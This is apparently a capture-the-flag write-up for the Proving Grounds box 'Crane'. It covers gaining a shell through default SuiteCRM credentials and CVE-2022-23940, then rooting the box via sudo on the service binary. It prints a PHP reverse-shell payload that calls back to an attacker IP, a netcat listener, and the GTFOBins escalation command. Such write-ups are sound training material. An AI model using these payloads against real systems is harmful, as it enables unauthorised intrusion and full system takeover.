# Crane Writeup - Proving Grounds

> Easy Linux box running SuiteCRM with default admin credentials, exploited via CVE-2022-23940 for a www-data shell, then escalated to root through a sudo-allowed service binary with a GTFOBins path trick.

- **URL:** https://hackindex.io/writeups/crane
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** rce, suitecrm, privilege-escalation, sudo-misconfiguration, gtfobins, default-credentials, cve-2022-23940
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-06
- **Updated:** 2026-10-06

Crane runs SuiteCRM with default credentials. The version is vulnerable to CVE-2022-23940, an authenticated remote code execution, and a public exploit returns a shell as `www-data`. From there `www-data` can run `service` through sudo, and a GTFOBins path trick spawns a root shell.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT   STATE SERVICE VERSION
# 80/tcp open  http    Apache httpd
```

A web server is running on the target. Browsing to it shows a SuiteCRM login page.

### SuiteCRM

SuiteCRM is an open-source Customer Relationship Management application for servers, written in PHP. Note the version from the login page for the next step.

## Exploitation

### Remote code execution

The application is using the default credentials `admin:admin`, which log straight into the admin panel. Searching for the SuiteCRM version turns up CVE-2022-23940, an authenticated remote code execution, with a public exploit at `github.com/manuelz120/CVE-2022-23940`. The exploit authenticates and triggers code execution, so start a listener and fire it with a reverse shell payload.

```bash
ncat -nvlp $ATTACKER_PORT
```

```bash
python exploit.py -u admin -p admin --payload "php -r '$sock=fsockopen(\"$ATTACKER_IP\", $ATTACKER_PORT); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
```

The listener catches a shell as `www-data`.

```bash
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Privilege Escalation

Check the sudo rights for `www-data`.

```bash
sudo -l
# Matching Defaults entries for www-data on localhost:
#     env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
#
# User www-data may run the following commands on localhost:
#     (ALL) NOPASSWD: /usr/sbin/service
```

`www-data` can run `/usr/sbin/service` as root with no password. The GTFOBins technique for `service` passes a relative path that resolves to a shell, which `service` then executes as root.

```bash
sudo /usr/sbin/service ../../../../bin/bash
# root@crane:/# id
# uid=0(root) gid=0(root) groups=0(root)
```

The path traversal makes `service` run `/bin/bash` as root, giving a root shell.

Related

## References

- [manuelz120/CVE-2022-23940](https://github.com/manuelz120/CVE-2022-23940) - SuiteCRM authenticated remote code execution exploit.
- [CVE-2022-23940](https://nvd.nist.gov/vuln/detail/CVE-2022-23940) - Authenticated remote code execution in SuiteCRM.
- [GTFOBins: service](https://gtfobins.github.io/gtfobins/service/) - Sudo abuse of service via a relative path to a shell.